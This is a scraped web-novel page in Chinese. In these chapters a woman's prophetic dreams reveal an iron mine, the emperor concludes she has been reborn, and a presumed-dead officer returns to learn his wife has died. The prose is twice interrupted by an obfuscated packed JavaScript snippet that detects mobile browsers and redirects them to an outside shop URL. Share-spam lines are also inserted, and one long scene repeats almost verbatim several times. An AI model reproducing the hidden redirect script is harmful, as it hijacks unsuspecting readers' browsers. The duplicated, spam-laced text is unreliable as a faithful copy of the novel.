薛嘉言这才缓缓开口,将心头藏了许久的事,轻声说了出来。 “陛下,我在赫哲部与我朝交界的地方,承包了一座山头。” 姜玄闻言只当她是在说寻常生意,眉眼温柔,不假思索便开口:“可是银钱周转不便?若是缺了,尽管与我说,我让人给你送来。” 薛嘉言轻轻摇了摇头:“陛下想哪里去了,我自然不是缺银钱。那山头原本是打算租下种些果树的,只是……昨夜我做了一个梦。” 这话一出,姜玄端着茶杯的动作微微一顿,眼中瞬间多了几分认真。 他太清楚薛嘉言的异样——她口中的“梦”,从来都不是寻常的梦,每一次说出来,都预示着有大事发生,且都会应验。 薛嘉言望着他,语气沉静而郑重,缓缓将梦中景象道出: “梦里大雪封山,天寒地冻。山脚下有个军户,他的妻子忽然重病缠身,眼看就要撑不住了。有人告诉他,深山之中长有雪莲,能救百病,他便不顾风雪,独自进山寻药。” “说来也巧,那军户竟真在冰天雪地的石缝里,找到了一株雪莲。他欣喜若狂,一时心急脚滑,脚下一松,便从陡峭的山坡上滚了下去,不知翻滚了多久,重重摔进一处隐秘的山谷。” “等他再次醒来,天已全黑,他颤抖着手点亮火折子,一抬眼,便看见身旁断裂的岩壁上,裸露出大片大片的石块。那些石头黑如墨玉,沉甸甸压手,断面在火光之下,隐隐泛着一层暗红的金属光泽,绝非寻常山间灰白粗糙的岩石。” “他虽是个粗人,可常年驻守边关,也曾见过铁匠铺冶炼的铁矿石,只一眼,便心头大震。” “后来那军户拼死逃出生天,回到卫所,将那块石头拿去给铁匠辨认——那的确是品相极好的铁矿石。” 薛嘉言抬眸,望着姜玄,声音轻却字字清晰: “陛下,你知道我的梦一向灵验。不如派人悄悄去那座山头勘察一番,若当真藏有铁矿,将来边关将士铸兵器,便不必再愁原料短缺,百姓开荒耕田,也能有更多铁制农具可用。” 她话音刚落,姜玄眼中已亮起灼灼光芒。 对于薛嘉言的梦,他从来不曾有过半分怀疑,一次又一次的应验,早已让他深信不疑。 这哪里是梦。 这是上天,再一次把天大的机缘,送到了他与大兖的面前。 “言言,你怎么知道,我最近正想着要给你封夫人?真是瞌睡送来了软枕头,你我竟是这般心有灵犀!” 姜玄握着薛嘉言的手臂,语气难掩激动,眼底亮得惊人。 薛嘉言微微一怔,轻声笑道:“陛下不是已经封我做宜人了吗?” “宜人太低了,配不上你。” 姜玄摇头,语气坚定,“你如今暂时不便入宫,没有名分在身,外头那些人不知轻重,暗地里不知怎么轻贱你。我想直接封你为二品夫人,这样你出门行走,不管是宗室命妇还是朝臣家眷,没人再敢为难你半分。” 第328章 奇闻异事 姜玄顿了顿难得带了些任性 “我原本都打算好了准备直接将你晋封。我都做好被朝臣们一本本奏折上谏的准备了没想到你竟先给我备下这么一份大礼——铁矿!” 提到铁矿姜玄眼中的激动更甚已是按捺不住地开始谋划。 有了这处铁矿他不仅能名正言顺地封赏薛嘉言还能大大增强大兖的军备与国力一举两得。 薛嘉言听着他这番赤诚直白的话心头微微一暖。 对于封夫人一事她没有半分推拒。 如今满城都把她当作祸国妖妇再多一个夫人名分又算得了什么?她早已不在乎那些流言握在手里的实惠才最重要。 姜玄临行前薛嘉言忍不住道:“陛下你派人去的时候在山下找找那个军户吧我记得梦里那个人名字叫王老虎这么好记的名字一定很好找的若他真有个生病的娘子帮他寻个大夫吧。” 薛嘉言说的这些都是前世姜玄跟她说起的那时候她不怎么开口姜玄便想法子找话题跟她说也正因为王老虎这个名字好记又是为了娘子寻药才让薛嘉言记住这段故事。 如今还是秋末没到大雪封山的时候若是早些找到王老虎夫妇说不定还能救人一命。 姜玄摸了摸薛嘉言的脸颊柔声道:“好言言真是个心善的人。” 姜玄从枫林苑回宫之后一刻也不曾耽搁立刻传召人手安排事宜。 他要派人即刻接管薛嘉言承包的那座山头务必尽快勘察、定位铁矿脉同时从工部抽调经验最丰富的冶炼官员与工匠前往边境。 这支队伍由锦衣卫的王清亲自带队。 临行之前姜玄单独将王清召入内殿屏退左右压低声音一字一句吩咐: “找到铁矿之后探明规模与产量上奏报时暗中削减十之三四。剩下那部分炼成精铁之后想办法隐秘运送送到长公主的封地之中。此事机密不可泄露半分明白吗?” 王清神色一凛躬身拱手声音沉稳有力: “臣明白!定不负陛下所托绝不泄露半句。” 王清退下之后姜玄心中的激动依旧久久无法平复。 他让张鸿宝取来边境舆图铺在龙案上俯身细细查看指尖在边境山脉间轻轻划过心中一遍遍勾勒着未来的布局——铁矿、军械、粮草、封地……一切都在慢慢成型。 过了片刻张鸿宝轻步上前低声回禀: “陛下 听说看这本书的人都是很幸运的,分享后你的运气会更棒 和安郡王在外游历,如今途经京城,特来宫中请安求见。” 姜玄眼睛一亮,当即抬手: “快请。” 叔侄俩已有一年多未见,先是落座寒暄,问了些沿途风土、地方吏治,气氛还算轻松。 说着说着,姜玄心头一动,忽然想起了薛嘉言那一次次离奇成真的梦境,越想越觉得玄奇,忍不住抬眼看向姜瑜,压低了声音问道: “子青,你自幼精通卜筮星象,擅长推演吉凶,依你看——世间真有人能推算未来吗?” 姜瑜微微一怔,随即沉吟道:“卜筮靠卦象,观气靠形胜,都要借一些机缘、凭一些凭据。陛下想算的,是江山国运,还是……别的事?” 姜玄轻轻摇了摇头,语气有些飘忽: “朕不是问卦。朕是想问你——倘若有一个人,无凭无据,只凭着几场梦境,便能提前知晓未来将要发生的事,一桩桩、一件件,尽数应验……你说,这有可能吗?” 姜瑜闻言,眉头缓缓蹙起,思索片刻,如实答道: “此事太过新奇,闻所未闻。天道隐秘,命运难测,便是上古卜圣,也不敢说仅凭睡梦便能预知后事。臣以为……难以置信。” 姜玄沉默下来。 他也知道这事说出去,谁都不会信,可一桩桩一件件,全都应验了。 他不想把薛嘉言的隐秘暴露给任何人,便不再多言,将话题轻轻按下。 姜瑜见他神色异样,也不多追问,反而顺着“奇闻异事”的话头,随口说起了别处听来的旧事: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那孩子后来如何了?姜玄声音微哑,急切追问。 姜瑜轻轻一叹,语气带着几分敬畏: “没几日,天降雷雨,一道惊雷直劈知县府邸,正中那儿子。他重生回来,前后不到两个月,又**。坊间都说,他是泄露了天机,被天规惩戒,折了性命。 “泄露天机……遭天罚…… 姜玄脸色瞬间发白,指尖冰凉,攥紧了袖中的手。 一瞬间,无数念头在他脑海里炸开—— 言言的梦,言言的预知…… 全都对上了。 姜玄几乎可以确认,他的言言是重新活过一次的人。 姜瑜见他脸色惨白、神思不属,不由得有些诧异,连忙问道: “陛下脸色怎么这般难看?不过是乡野间不知真假的奇谈怪论,当不得真的。 姜玄猛地回神,强压下心底惊涛骇浪,轻咳一声,掩饰道: “无妨,许是今日穿得单薄了些,殿中风凉,略感寒意。 姜瑜也不多疑,又陪他说了几句闲话,便起身告退。 待殿中只剩下姜玄一人,他坐在原地,**了许久许久。 烛火摇曳,映着他紧绷而温柔的侧脸。 他几乎可以百分百确定,他的言言,必定有过一场生死奇遇,得了重来一次的机缘。 而她不能说,是因为上苍有诫,不可多言,一说便是死罪。 想通这一切,姜玄非但没有半分忌惮疏离,反而只剩下满心的疼惜与珍视。 他轻轻闭上眼,在心底默默定下主意: 从今往后,他只当一无所知。 她说是梦,那便是梦。 她说会发生,他便信。 不问缘由,不究过往,不探天机。 只要她在,他便护她一生。 苏辞在京中歇了几日,一边将自家商行的事务一一安顿妥当,一边寻了个僻静时机,与苗菁闭门密谈了半日,将高家走私、人证线索等事细细交代清楚。等一切都安排稳妥,他又精心备了几样礼物,这才再次登了薛家的门。 他刚到薛家门口,门房的人一眼便瞧见了他身侧那匹马,当即眼前一亮,忍不住出声赞叹:“哇,好漂亮的一匹马! 消息很快传入内院。 春和院里,薛嘉言听说苏辞特意带了一匹马来送她,心中微动,当即牵着好奇不已的棠姐儿,一同出去相看。 庭院之中,立着一匹身量中等的枣红小马,皮**油光水滑,像浸过胭脂一般 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 四肢匀称神骏非凡。它时不时轻轻甩动尾巴发出一声清亮的嘶鸣看着格外精神却又不显凶悍。 苏辞见她们出来上前轻轻抚了抚马颈顺滑的鬃**温声介绍道:“嘉嘉这是一匹温顺的小走马名叫花儿性子最是稳当听话不欺生、不闹脾气最适合初学骑马的人。” 薛嘉言望着眼前灵气十足的小马眼底泛起笑意:“多谢苏大哥你怎么知道我近来想学骑马的?” “上次听伯母闲谈时提起的。”苏辞笑了笑语气自然“你也知道我家本就做着边关马匹的生意挑一匹性情合宜的好马并不算难事。” 薛嘉言闻言也不再推辞坦然收下这份心意:“那我便不跟你客气了。” 苏辞朗声笑道:“你我从小一同长大情分摆在这儿你若跟我客气反倒白白辜负了这么多年的交情。” 薛嘉言走上前学着苏辞的模样轻轻伸手去摸小马的脖颈。 果然如苏辞所说花儿性情极温顺半点不怯生被她抚摸时还温顺地眨了眨眼轻轻蹭了蹭她的掌心惹得棠姐儿在一旁看得眼睛发亮。 薛嘉言心中欢喜暗自盘算起来: 等下次姜玄过来定要缠着他教自己骑马。 若是他再敢推辞她便自己寻个师傅。 反正明年春暖花开之时她一定要骑着马好好去郊外踏一回春。 苗菁书房前的小演武场上日光正好。 郭晓芸拉着他的衣袖软声闹着要跟他学武。 苗菁被她缠得无奈低低笑出声指尖轻轻刮了下她的鼻尖:“你学这个做什么?” 郭晓芸脸颊微红嗫嚅着:“你总说我体力太差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320101|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我看你每日练这么久依旧精神得很想来练武是能长体力的……” 这话一出 他竟真的应了让人去取一身轻便的短打衣裳给她送来。 “既然想学那便从最基础的来。”苗菁扶着她的腰帮她调整姿势声音低沉耐心“学武先扎马步稳住下盘身子才不会飘。” 郭晓芸点点头认认真真跟着他的指点蹲下去双脚分开膝盖微屈腰背挺直一板一眼。 可她素来娇弱哪里受过这种苦不过片刻功夫双腿便控制不住地发颤额角沁出细汗眼看就要软倒在地。 苗菁眼疾手快长臂一伸稳稳将她打横抱起大步往屋内走去。 怀中人儿轻软得像一片云他低头温热的气息拂在她 听说看这本书的人都是很幸运的,分享后你的运气会更棒 耳边,声音带着几分戏谑的哑:“你那点力气,还是好好留着吧,省得晚上又趴在我怀里喊累。” 郭晓芸瞬间羞得满脸通红,伸手就去捂他的嘴。 屋内立刻响起苗菁闷闷的、压抑不住的笑声。 两人正亲昵间,门外忽然传来荷花轻咳一声,跟着轻轻敲了敲门框,扬声回禀:“大人,外头有位沈爷求见,说是有要事找您。” 苗菁眉峰微蹙。 沈爷? 下一刻,他脑中猛地闪过一个名字,心头一震,当即沉声吩咐:“快请进来,直接引去书房,我即刻便到。” 郭晓芸瞧出他神色不对,连忙拉住他的手,轻声问:“怎么了?可是出了什么事?” 苗菁一边整理衣襟,一边快速扣好扣子,低声道:“没事,应该是宁哥儿的爹来了。” “啊?”郭晓芸猛地一惊,眼睛都睁大了,“宁哥儿的爹……不是早就**吗?” “当时只说是尸骨无存,并未亲眼见到遗体。”苗菁眼神沉了沉,“活不见人,死不见尸,便不能算真的没了。我去前院一趟,若当真是他,晚上你吩咐厨房备一桌酒席,我给他接风洗尘。” 郭晓芸连忙点头应下。 苗菁不再多言,脚步匆匆,径直往外而去。 第330章 知晓 到了前院书房,他一推门,便一眼望见屋内站着一个高大却略显消瘦的男子。 面容有些陌生,可那身形、那站姿、那眼底沉敛的气质,都隐隐透着几分熟悉。 苗菁记得,沈峥身边有个极为得力的手下,最擅长易容改面。 他心头一动,试探着低唤了一声:“显扬?” 来人眼中瞬间翻涌激动之色,他大步上前,躬身拱手,声音略显嘶哑:“北镇抚司同知沈峥,参见大人!” 苗菁心头大震,连忙上前一把拉住他,上下仔细打量,眼眶微热:“你还活着……你还活着!” 沈峥抬手,轻轻摸了摸自己的脸颊,苦笑一声:“不得已,做了些易容手段,改头换面,才苟活至今,让大人见笑了。” 苗菁重重松了口气,拉着他在桌边坐下,声音急切又关切:“显扬,当年到底发生了什么?你是**里逃生的?” 沈峥闭了闭眼,声音沙哑,缓缓道出这几年死里逃生的经历: “当日我身受重伤,被逼堕崖,本是必死之局。万幸被半山腰的灌木丛拦了一拦,才没有当场粉身碎骨。可那崖下荒无人烟,我又断骨重伤,动弹不得,也只能躺在原地等死。” 他顿了顿,喉结滚动,似是想起那九死一生的绝境。 “谁知道,竟真有那般造化——我遇上了一对进山采药的父女。他们心善,用随身带的草药给我暂时止血包扎,又花了整整三天,一点点将我挪到山脚下的村落里救治。” “我在那个叫小河村的地方,躺了半年,才能勉强下地;又养了三个月,才算恢复行走,勉强能提气用力。一能行动,我第一时间便联络上我暗中安插的人手,重金谢过那对救命父女,之后便疯了一般,四处寻找阿娅的踪迹。” 提到阿娅,他本就苍白的脸更添几分血色尽褪的憔悴。 “直到一个月前,我才查到蛛丝马迹,确定阿娅多半是进了京。我曾将一块贴身令牌交给她,以她的性子,受了委屈、走投无路,绝不会去沈家求援,只会拿着令牌来投奔大人。就算她没来,有大人相助,我寻她也能快上几分。这才改头换面,乔装入京。” 沈峥猛地抬眼,眼底满是焦灼与期盼,声音都在发颤: “大人……阿娅她……来找过您了吗?” 苗菁看着他这副模样,心头一沉,缓缓点了点头。 沈峥瞬间大喜过望,身子都微微发抖,急切追问:“她人现在在哪里?大人快告诉我!” 苗菁轻轻叹了一声,抬手拍了 拍他的肩膀,声音压得极低,却字字如刀: “显扬,你……节哀。阿娅她,已经不在了。” 前一秒还满眼光亮的沈峥,脸色骤然惨白。 大喜骤然大悲,本就久病体虚、一路奔波的他,眼前一黑,身子猛地一晃,摇摇欲坠,险些当场栽倒在地。 “阿娅……” 苗菁连忙伸手扶住他,稳住他的身形,低声急劝:“显扬,稳住!你身子本就虚,不能再垮了。你和阿娅的仇还在,真相还没查明,你要保重啊。” 他顿了顿,见沈峥已是痛不欲生,轻声补上一句: “而且……阿娅临走之前,为你生下了一个孩子。” 沈峥双目赤红,泪水汹涌而出,顺着消瘦的脸颊不断滚落。 即便听到“孩子”二字,他也没能回过神,只是嘴唇剧烈哆嗦着,一遍又一遍,失神地呢喃: “阿娅……阿娅……是我对不住你……” 苗菁也曾亲历生离死别,深知这种剜心之痛,多说无益。 他不再开口,只是静静陪着,任由沈峥将这几年的压抑、恐惧、思念与悔恨,尽数哭出来。 不知过了多久,窗外明亮的天光渐渐暗淡,暮色漫进书房。 沈峥才从那昏沉的剧痛中稍稍清醒,他吸了吸鼻子,哑得几乎听不清字音: “大人……孩子……孩子还好吗?” “孩子很好,很康健。”苗菁声音放轻,“当初阿娅以为你早已不在人世,她不愿孩子一出生就回沈家,更不想孩子一落地便背负上父母的血海深仇。她求我,给孩子寻一户普通安稳人家收养,只求他平安长大,无灾无难。” “孩子如今养在京城一户良善人家,养母对他疼爱有加,吃得好、穿得暖,长得白白胖胖,你尽可放心。” 沈峥闭上眼,一行浊泪再次滑落,声音嘶哑却带着几分释然: “那就好……阿娅想得对,孩子绝不能回沈家。” 他缓缓睁开眼,眸中已多了几分刺骨的冷意: “这段时间,我隐姓埋名,暗中追查,当年伏击我们、将我逼落悬崖的人——正是我二叔与三叔联手。他们觊觎我手中的权势与家产,早就对我动了杀心。当初阿娅若真的回了沈家,恐怕连腹中的孩子,都保不住。” 苗菁见惯了世家大族内部的倾轧残杀,对此并不意外,只沉声问: “那你今后,打算如何做?” 沈峥缓缓攥紧拳头,指节泛白,眸底翻涌着压抑不住的戾色: “阿娅不能白死,我也不能被人这般白白算计。我会在京城暂留一段时日,等把所有线索理清,便想办法重回沈家。本该是我的东西,我要一点一点拿回来;欠我的、害了我和阿娅的,我要一笔一笔,全部讨回来!” 苗菁看着他眼中死过一次后的狠绝,郑重点头: “你尽管去做。但凡需要我帮忙的地方,尽管开口,不必客气。” 沈峥也不矫情,当即将几件需要暗中查证的事情一一说出。 苗菁听得仔细,件件都一口应下,没有半分推脱。 待到诸事交代完毕,沈峥深深吸了一口气,抬眼看向苗菁,声音带着一丝颤抖: “大人……末生还有一个不情之请……能不能……让我见见那孩子?” 苗菁微微一怔,随即温和点头: “这有何不可。那孩子的养母,与内子素来交好。明日我便让晓芸下帖,请她带着孩子来府中做客,你悄悄见一见便是。” 沈峥猛地躬身,深深一揖,声音哽咽: “多谢大人……大恩不言谢。” 拍他的肩膀,声音压得极低,却字字如刀: “显扬,你……节哀。阿娅她,已经不在了。” 前一秒还满眼光亮的沈峥,脸色骤然惨白。 大喜骤然大悲,本就久病体虚、一路奔波的他,眼前一黑,身子猛地一晃,摇摇欲坠,险些当场栽倒在地。 “阿娅……” 苗菁连忙伸手扶住他,稳住他的身形,低声急劝:“显扬,稳住!你身子本就虚,不能再垮了。你和阿娅的仇还在,真相还没查明,你要保重啊。” 他顿了顿,见沈峥已是痛不欲生,轻声补上一句: “而且……阿娅临走之前,为你生下了一个孩子。” 沈峥双目赤红,泪水汹涌而出,顺着消瘦的脸颊不断滚落。 即便听到“孩子”二字,他也没能回过神,只是嘴唇剧烈哆嗦着,一遍又一遍,失神地呢喃: “阿娅……阿娅……是我对不住你……” 苗菁也曾亲历生离死别,深知这种剜心之痛,多说无益。 他不再开口,只是静静陪着,任由沈峥将这几年的压抑、恐惧、思念与悔恨,尽数哭出来。 不知过了多久,窗外明亮的天光渐渐暗淡,暮色漫进书房。 沈峥才从那昏沉的剧痛中稍稍清醒,他吸了吸鼻子,哑得几乎听不清字音: “大人……孩子……孩子还好吗?” “孩子很好,很康健。”苗菁声音放轻,“当初阿娅以为你早已不在人世,她不愿孩子一出生就回沈家,更不想孩子一落地便背负上父母的血海深仇。她求我,给孩子寻一户普通安稳人家收养,只求他平安长大,无灾无难。” “孩子如今养在京城一户良善人家,养母对他疼爱有加,吃得好、穿得暖,长得白白胖胖,你尽可放心。” 沈峥闭上眼,一行浊泪再次滑落,声音嘶哑却带着几分释然: “那就好……阿娅想得对,孩子绝不能回沈家。” 他缓缓睁开眼,眸中已多了几分刺骨的冷意: “这段时间,我隐姓埋名,暗中追查,当年伏击我们、将我逼落悬崖的人——正是我二叔与三叔联手。他们觊觎我手中的权势与家产,早就对我动了杀心。当初阿娅若真的回了沈家,恐怕连腹中的孩子,都保不住。” 苗菁见惯了世家大族内部的倾轧残杀,对此并不意外,只沉声问: “那你今后,打算如何做?” 沈峥缓缓攥紧拳头,指节泛白,眸底翻涌着压抑不住的戾色: “阿娅不能白死,我也不能被人这般白白算计。我会在京城暂留一段时日,等把所有线索理清,便想办法重回沈家。本该是我的东西,我要一点一点拿回来;欠我的、害了我和阿娅的,我要一笔一笔,全部讨回来!” 苗菁看着他眼中死过一次后的狠绝,郑重点头: “你尽管去做。但凡需要我帮忙的地方,尽管开口,不必客气。” 沈峥也不矫情,当即将几件需要暗中查证的事情一一说出。 苗菁听得仔细,件件都一口应下,没有半分推脱。 待到诸事交代完毕,沈峥深深吸了一口气,抬眼看向苗菁,声音带着一丝颤抖: “大人……末生还有一个不情之请……能不能……让我见见那孩子?” 苗菁微微一怔,随即温和点头: “这有何不可。那孩子的养母,与内子素来交好。明日我便让晓芸下帖,请她带着孩子来府中做客,你悄悄见一见便是。” 沈峥猛地躬身,深深一揖,声音哽咽: “多谢大人……大恩不言谢。” 拍他的肩膀,声音压得极低,却字字如刀: “显扬,你……节哀。阿娅她,已经不在了。” 前一秒还满眼光亮的沈峥,脸色骤然惨白。 大喜骤然大悲,本就久病体虚、一路奔波的他,眼前一黑,身子猛地一晃,摇摇欲坠,险些当场栽倒在地。 “阿娅……” 苗菁连忙伸手扶住他,稳住他的身形,低声急劝:“显扬,稳住!你身子本就虚,不能再垮了。你和阿娅的仇还在,真相还没查明,你要保重啊。” 他顿了顿,见沈峥已是痛不欲生,轻声补上一句: “而且……阿娅临走之前,为你生下了一个孩子。” 沈峥双目赤红,泪水汹涌而出,顺着消瘦的脸颊不断滚落。 即便听到“孩子”二字,他也没能回过神,只是嘴唇剧烈哆嗦着,一遍又一遍,失神地呢喃: “阿娅……阿娅……是我对不住你……” 苗菁也曾亲历生离死别,深知这种剜心之痛,多说无益。 他不再开口,只是静静陪着,任由沈峥将这几年的压抑、恐惧、思念与悔恨,尽数哭出来。 不知过了多久,窗外明亮的天光渐渐暗淡,暮色漫进书房。 沈峥才从那昏沉的剧痛中稍稍清醒,他吸了吸鼻子,哑得几乎听不清字音: “大人……孩子……孩子还好吗?” “孩子很好,很康健。”苗菁声音放轻,“当初阿娅以为你早已不在人世,她不愿孩子一出生就回沈家,更不想孩子一落地便背负上父母的血海深仇。她求我,给孩子寻一户普通安稳人家收养,只求他平安长大,无灾无难。” “孩子如今养在京城一户良善人家,养母对他疼爱有加,吃得好、穿得暖,长得白白胖胖,你尽可放心。” 沈峥闭上眼,一行浊泪再次滑落,声音嘶哑却带着几分释然: “那就好……阿娅想得对,孩子绝不能回沈家。” 他缓缓睁开眼,眸中已多了几分刺骨的冷意: “这段时间,我隐姓埋名,暗中追查,当年伏击我们、将我逼落悬崖的人——正是我二叔与三叔联手。他们觊觎我手中的权势与家产,早就对我动了杀心。当初阿娅若真的回了沈家,恐怕连腹中的孩子,都保不住。” 苗菁见惯了世家大族内部的倾轧残杀,对此并不意外,只沉声问: “那你今后,打算如何做?” 沈峥缓缓攥紧拳头,指节泛白,眸底翻涌着压抑不住的戾色: “阿娅不能白死,我也不能被人这般白白算计。我会在京城暂留一段时日,等把所有线索理清,便想办法重回沈家。本该是我的东西,我要一点一点拿回来;欠我的、害了我和阿娅的,我要一笔一笔,全部讨回来!” 苗菁看着他眼中死过一次后的狠绝,郑重点头: “你尽管去做。但凡需要我帮忙的地方,尽管开口,不必客气。” 沈峥也不矫情,当即将几件需要暗中查证的事情一一说出。 苗菁听得仔细,件件都一口应下,没有半分推脱。 待到诸事交代完毕,沈峥深深吸了一口气,抬眼看向苗菁,声音带着一丝颤抖: “大人……末生还有一个不情之请……能不能……让我见见那孩子?” 苗菁微微一怔,随即温和点头: “这有何不可。那孩子的养母,与内子素来交好。明日我便让晓芸下帖,请她带着孩子来府中做客,你悄悄见一见便是。” 沈峥猛地躬身,深深一揖,声音哽咽: “多谢大人……大恩不言谢。” 拍他的肩膀,声音压得极低,却字字如刀: “显扬,你……节哀。阿娅她,已经不在了。” 前一秒还满眼光亮的沈峥,脸色骤然惨白。 大喜骤然大悲,本就久病体虚、一路奔波的他,眼前一黑,身子猛地一晃,摇摇欲坠,险些当场栽倒在地。 “阿娅……” 苗菁连忙伸手扶住他,稳住他的身形,低声急劝:“显扬,稳住!你身子本就虚,不能再垮了。你和阿娅的仇还在,真相还没查明,你要保重啊。” 他顿了顿,见沈峥已是痛不欲生,轻声补上一句: “而且……阿娅临走之前,为你生下了一个孩子。” 沈峥双目赤红,泪水汹涌而出,顺着消瘦的脸颊不断滚落。 即便听到“孩子”二字,他也没能回过神,只是嘴唇剧烈哆嗦着,一遍又一遍,失神地呢喃: “阿娅……阿娅……是我对不住你……” 苗菁也曾亲历生离死别,深知这种剜心之痛,多说无益。 他不再开口,只是静静陪着,任由沈峥将这几年的压抑、恐惧、思念与悔恨,尽数哭出来。 不知过了多久,窗外明亮的天光渐渐暗淡,暮色漫进书房。 沈峥才从那昏沉的剧痛中稍稍清醒,他吸了吸鼻子,哑得几乎听不清字音: “大人……孩子……孩子还好吗?” “孩子很好,很康健。”苗菁声音放轻,“当初阿娅以为你早已不在人世,她不愿孩子一出生就回沈家,更不想孩子一落地便背负上父母的血海深仇。她求我,给孩子寻一户普通安稳人家收养,只求他平安长大,无灾无难。” “孩子如今养在京城一户良善人家,养母对他疼爱有加,吃得好、穿得暖,长得白白胖胖,你尽可放心。” 沈峥闭上眼,一行浊泪再次滑落,声音嘶哑却带着几分释然: “那就好……阿娅想得对,孩子绝不能回沈家。” 他缓缓睁开眼,眸中已多了几分刺骨的冷意: “这段时间,我隐姓埋名,暗中追查,当年伏击我们、将我逼落悬崖的人——正是我二叔与三叔联手。他们觊觎我手中的权势与家产,早就对我动了杀心。当初阿娅若真的回了沈家,恐怕连腹中的孩子,都保不住。” 苗菁见惯了世家大族内部的倾轧残杀,对此并不意外,只沉声问: “那你今后,打算如何做?” 沈峥缓缓攥紧拳头,指节泛白,眸底翻涌着压抑不住的戾色: “阿娅不能白死,我也不能被人这般白白算计。我会在京城暂留一段时日,等把所有线索理清,便想办法重回沈家。本该是我的东西,我要一点一点拿回来;欠我的、害了我和阿娅的,我要一笔一笔,全部讨回来!” 苗菁看着他眼中死过一次后的狠绝,郑重点头: “你尽管去做。但凡需要我帮忙的地方,尽管开口,不必客气。” 沈峥也不矫情,当即将几件需要暗中查证的事情一一说出。 苗菁听得仔细,件件都一口应下,没有半分推脱。 待到诸事交代完毕,沈峥深深吸了一口气,抬眼看向苗菁,声音带着一丝颤抖: “大人……末生还有一个不情之请……能不能……让我见见那孩子?” 苗菁微微一怔,随即温和点头: “这有何不可。那孩子的养母,与内子素来交好。明日我便让晓芸下帖,请她带着孩子来府中做客,你悄悄见一见便是。” 沈峥猛地躬身,深深一揖,声音哽咽: “多谢大人……大恩不言谢。” 拍他的肩膀,声音压得极低,却字字如刀: “显扬,你……节哀。阿娅她,已经不在了。” 前一秒还满眼光亮的沈峥,脸色骤然惨白。 大喜骤然大悲,本就久病体虚、一路奔波的他,眼前一黑,身子猛地一晃,摇摇欲坠,险些当场栽倒在地。 “阿娅……” 苗菁连忙伸手扶住他,稳住他的身形,低声急劝:“显扬,稳住!你身子本就虚,不能再垮了。你和阿娅的仇还在,真相还没查明,你要保重啊。” 他顿了顿,见沈峥已是痛不欲生,轻声补上一句: “而且……阿娅临走之前,为你生下了一个孩子。” 沈峥双目赤红,泪水汹涌而出,顺着消瘦的脸颊不断滚落。 即便听到“孩子”二字,他也没能回过神,只是嘴唇剧烈哆嗦着,一遍又一遍,失神地呢喃: “阿娅……阿娅……是我对不住你……” 苗菁也曾亲历生离死别,深知这种剜心之痛,多说无益。 他不再开口,只是静静陪着,任由沈峥将这几年的压抑、恐惧、思念与悔恨,尽数哭出来。 不知过了多久,窗外明亮的天光渐渐暗淡,暮色漫进书房。 沈峥才从那昏沉的剧痛中稍稍清醒,他吸了吸鼻子,哑得几乎听不清字音: “大人……孩子……孩子还好吗?” “孩子很好,很康健。”苗菁声音放轻,“当初阿娅以为你早已不在人世,她不愿孩子一出生就回沈家,更不想孩子一落地便背负上父母的血海深仇。她求我,给孩子寻一户普通安稳人家收养,只求他平安长大,无灾无难。” “孩子如今养在京城一户良善人家,养母对他疼爱有加,吃得好、穿得暖,长得白白胖胖,你尽可放心。” 沈峥闭上眼,一行浊泪再次滑落,声音嘶哑却带着几分释然: “那就好……阿娅想得对,孩子绝不能回沈家。” 他缓缓睁开眼,眸中已多了几分刺骨的冷意: “这段时间,我隐姓埋名,暗中追查,当年伏击我们、将我逼落悬崖的人——正是我二叔与三叔联手。他们觊觎我手中的权势与家产,早就对我动了杀心。当初阿娅若真的回了沈家,恐怕连腹中的孩子,都保不住。” 苗菁见惯了世家大族内部的倾轧残杀,对此并不意外,只沉声问: “那你今后,打算如何做?” 沈峥缓缓攥紧拳头,指节泛白,眸底翻涌着压抑不住的戾色: “阿娅不能白死,我也不能被人这般白白算计。我会在京城暂留一段时日,等把所有线索理清,便想办法重回沈家。本该是我的东西,我要一点一点拿回来;欠我的、害了我和阿娅的,我要一笔一笔,全部讨回来!” 苗菁看着他眼中死过一次后的狠绝,郑重点头: “你尽管去做。但凡需要我帮忙的地方,尽管开口,不必客气。” 沈峥也不矫情,当即将几件需要暗中查证的事情一一说出。 苗菁听得仔细,件件都一口应下,没有半分推脱。 待到诸事交代完毕,沈峥深深吸了一口气,抬眼看向苗菁,声音带着一丝颤抖: “大人……末生还有一个不情之请……能不能……让我见见那孩子?” 苗菁微微一怔,随即温和点头: “这有何不可。那孩子的养母,与内子素来交好。明日我便让晓芸下帖,请她带着孩子来府中做客,你悄悄见一见便是。” 沈峥猛地躬身,深深一揖,声音哽咽: “多谢大人……大恩不言谢。” 拍他的肩膀,声音压得极低,却字字如刀: “显扬,你……节哀。阿娅她,已经不在了。” 前一秒还满眼光亮的沈峥,脸色骤然惨白。 大喜骤然大悲,本就久病体虚、一路奔波的他,眼前一黑,身子猛地一晃,摇摇欲坠,险些当场栽倒在地。 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“孩子很好,很康健。”苗菁声音放轻,“当初阿娅以为你早已不在人世,她不愿孩子一出生就回沈家,更不想孩子一落地便背负上父母的血海深仇。她求我,给孩子寻一户普通安稳人家收养,只求他平安长大,无灾无难。” “孩子如今养在京城一户良善人家,养母对他疼爱有加,吃得好、穿得暖,长得白白胖胖,你尽可放心。” 沈峥闭上眼,一行浊泪再次滑落,声音嘶哑却带着几分释然: “那就好……阿娅想得对,孩子绝不能回沈家。” 他缓缓睁开眼,眸中已多了几分刺骨的冷意: 